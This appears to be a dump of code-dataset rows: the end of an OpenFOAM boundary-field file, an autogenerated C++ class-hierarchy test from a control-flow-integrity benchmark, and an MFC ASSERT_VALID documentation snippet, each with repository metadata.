-1.95284e-06
-2.04619e-06
-2.144e-06
-2.24649e-06
-2.35388e-06
-2.4664e-06
-2.58429e-06
-2.70783e-06
-2.83727e-06
-2.9729e-06
-3.11501e-06
-3.26391e-06
-3.41993e-06
-3.58341e-06
-3.75471e-06
-3.93419e-06
-4.12225e-06
-4.3193e-06
-4.52577e-06
-4.74211e-06
-4.9688e-06
-5.20632e-06
-5.45519e-06
-5.71596e-06
-5.98919e-06
-6.27549e-06
-6.57547e-06
-6.88979e-06
-7.21914e-06
-7.56423e-06
-7.92581e-06
-8.30468e-06
-8.70166e-06
-9.11762e-06
-9.55346e-06
-1.00101e-05
-1.04886e-05
-1.099e-05
-1.15154e-05
-1.20658e-05
-1.26426e-05
-1.32469e-05
-1.38802e-05
-1.45437e-05
-1.52389e-05
-1.59673e-05
-1.67306e-05
-1.75304e-05
-1.83683e-05
-1.92464e-05
-2.01664e-05
-2.11304e-05
-2.21405e-05
-2.31988e-05
-2.43078e-05
-2.54698e-05
-2.66873e-05
-2.7963e-05
-2.92997e-05
-3.07002e-05
-3.21678e-05
-3.37055e-05
-3.53166e-05
-3.70049e-05
-3.87738e-05
-4.06272e-05
-4.25693e-05
-4.46042e-05
-4.67364e-05
)
;
}
plate
{
type calculated;
value uniform 0;
}
frontAndBack
{
type empty;
value nonuniform 0();
}
}
// ************************************************************************* //
| [
"savasah@itu.edu.tr"
] | savasah@itu.edu.tr | |
94ad7793a7159f1214022a8b3492e7669325d2b7 | 3cf9e141cc8fee9d490224741297d3eca3f5feff | /C++ Benchmark Programs/Benchmark Files 1/classtester/autogen-sources/source-2552.cpp | ee8fb106021b75b59a1e920c451697f2fe931169 | [] | no_license | TeamVault/tauCFI | e0ac60b8106fc1bb9874adc515fc01672b775123 | e677d8cc7acd0b1dd0ac0212ff8362fcd4178c10 | refs/heads/master | 2023-05-30T20:57:13.450360 | 2021-06-14T09:10:24 | 2021-06-14T09:10:24 | 154,563,655 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 2,381 | cpp | struct c0;
void __attribute__ ((noinline)) tester0(c0* p);
struct c0
{
bool active0;
c0() : active0(true) {}
virtual ~c0()
{
tester0(this);
active0 = false;
}
virtual void f0(){}
};
void __attribute__ ((noinline)) tester0(c0* p)
{
p->f0();
}
struct c1;
void __attribute__ ((noinline)) tester1(c1* p);
struct c1
{
bool active1;
c1() : active1(true) {}
virtual ~c1()
{
tester1(this);
active1 = false;
}
virtual void f1(){}
};
void __attribute__ ((noinline)) tester1(c1* p)
{
p->f1();
}
struct c2;
void __attribute__ ((noinline)) tester2(c2* p);
struct c2
{
bool active2;
c2() : active2(true) {}
virtual ~c2()
{
tester2(this);
active2 = false;
}
virtual void f2(){}
};
void __attribute__ ((noinline)) tester2(c2* p)
{
p->f2();
}
struct c3;
void __attribute__ ((noinline)) tester3(c3* p);
struct c3 : virtual c1, c0
{
bool active3;
c3() : active3(true) {}
virtual ~c3()
{
tester3(this);
c0 *p0_0 = (c0*)(c3*)(this);
tester0(p0_0);
c1 *p1_0 = (c1*)(c3*)(this);
tester1(p1_0);
active3 = false;
}
virtual void f3(){}
};
void __attribute__ ((noinline)) tester3(c3* p)
{
p->f3();
if (p->active0)
p->f0();
if (p->active1)
p->f1();
}
struct c4;
void __attribute__ ((noinline)) tester4(c4* p);
struct c4 : c2, c1, c0
{
bool active4;
c4() : active4(true) {}
virtual ~c4()
{
tester4(this);
c0 *p0_0 = (c0*)(c4*)(this);
tester0(p0_0);
c1 *p1_0 = (c1*)(c4*)(this);
tester1(p1_0);
c2 *p2_0 = (c2*)(c4*)(this);
tester2(p2_0);
active4 = false;
}
virtual void f4(){}
};
void __attribute__ ((noinline)) tester4(c4* p)
{
p->f4();
if (p->active0)
p->f0();
if (p->active1)
p->f1();
if (p->active2)
p->f2();
}
int __attribute__ ((noinline)) inc(int v) {return ++v;}
int main()
{
c0* ptrs0[25];
ptrs0[0] = (c0*)(new c0());
ptrs0[1] = (c0*)(c3*)(new c3());
ptrs0[2] = (c0*)(c4*)(new c4());
for (int i=0;i<3;i=inc(i))
{
tester0(ptrs0[i]);
delete ptrs0[i];
}
c1* ptrs1[25];
ptrs1[0] = (c1*)(new c1());
ptrs1[1] = (c1*)(c3*)(new c3());
ptrs1[2] = (c1*)(c4*)(new c4());
for (int i=0;i<3;i=inc(i))
{
tester1(ptrs1[i]);
delete ptrs1[i];
}
c2* ptrs2[25];
ptrs2[0] = (c2*)(new c2());
ptrs2[1] = (c2*)(c4*)(new c4());
for (int i=0;i<2;i=inc(i))
{
tester2(ptrs2[i]);
delete ptrs2[i];
}
c3* ptrs3[25];
ptrs3[0] = (c3*)(new c3());
for (int i=0;i<1;i=inc(i))
{
tester3(ptrs3[i]);
delete ptrs3[i];
}
c4* ptrs4[25];
ptrs4[0] = (c4*)(new c4());
for (int i=0;i<1;i=inc(i))
{
tester4(ptrs4[i]);
delete ptrs4[i];
}
return 0;
}
| [
"ga72foq@mytum.de"
] | ga72foq@mytum.de |
739d3460a1f39902b67c49225291ba8919c55474 | c18e3cba4f445613b2ed7503061cdfe088d46da5 | /docs/mfc/codesnippet/CPP/diagnostic-services_5.cpp | 9a0cb5a827dfda88f5fc6a305e76f63d6637722d | [
"CC-BY-4.0",
"MIT"
] | permissive | MicrosoftDocs/cpp-docs | dad03e548e13ca6a6e978df3ba84c4858c77d4bd | 87bacc85d5a1e9118a69122d84c43d70f6893f72 | refs/heads/main | 2023-09-01T00:19:22.423787 | 2023-08-28T17:27:40 | 2023-08-28T17:27:40 | 73,740,405 | 1,354 | 1,213 | CC-BY-4.0 | 2023-09-08T21:27:46 | 2016-11-14T19:38:32 | PowerShell | UTF-8 | C++ | false | false | 106 | cpp | // Assure that pMyObject is a valid pointer to an
// object derived from CObject.
ASSERT_VALID(pMyObject); | [
"mblome@microsoft.com"
] | mblome@microsoft.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.